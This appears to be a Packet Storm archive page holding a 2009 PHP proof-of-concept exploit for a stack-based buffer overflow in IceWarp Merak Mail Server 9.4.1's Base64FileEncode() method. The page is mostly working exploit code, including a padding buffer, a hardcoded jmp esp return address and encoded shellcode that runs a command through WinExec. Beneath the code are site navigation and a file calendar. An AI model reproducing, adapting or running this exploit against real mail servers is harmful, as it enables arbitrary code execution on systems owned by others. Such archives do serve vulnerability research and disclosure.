exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Icewarp Merak Mail Server 9.4.1 Overflow

Icewarp Merak Mail Server 9.4.1 Overflow
Posted Apr 24, 2009
Authored by Nine:Situations:Group | Site retrogod.altervista.org

Icewarp Merak Mail Server version 9.4.1 Base65FileEncode() buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
SHA-256 | 59dae0c32108366fa1a61fb75f0fadb241ad621ce1c71c06297158373bccd1d7

Icewarp Merak Mail Server 9.4.1 Overflow

Change Mirror Download
<?php
/* Icewarp Merak Mail Server 9.4.1 IceWarpServer.APIObject/api.dll
Base64FileEncode() stack based buffer overflow poc
by Nine:Situations:Group::surfista
site: http://retrogod.altervista.org/

api.dll contains a stack based buffer overflow in the second argument of
Base64FileEncode() method, this shared library can be loaded ex. by the
IceWarp PHP extension which is carried by the Webmail service. You have
interesting results if the final argument of the icewarp_apiobjectcall()
function is exposed to remote user input, which is possible by design, with
the vulnerable method specified.
We are searching a remote vector for this!

*/

if (php_sapi_name() <> "cgi-fcgi") {
die("Launch from the merak php console!");
}

if (!function_exists("icewarp_apiobjectcall")) {
die("You need the icewarp extension loaded!");
}

$shellcode= //original scode, alpha2 esp <sh.txt
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c start calc && ".
"\xff";

$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
"8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
"YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
"wPQ6EvgPKOksA";

$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll

$bof=str_repeat("A",0x258).
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
$eip.
$shellcode;

$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');

$source="AAAA";
$destination=$bof;

icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close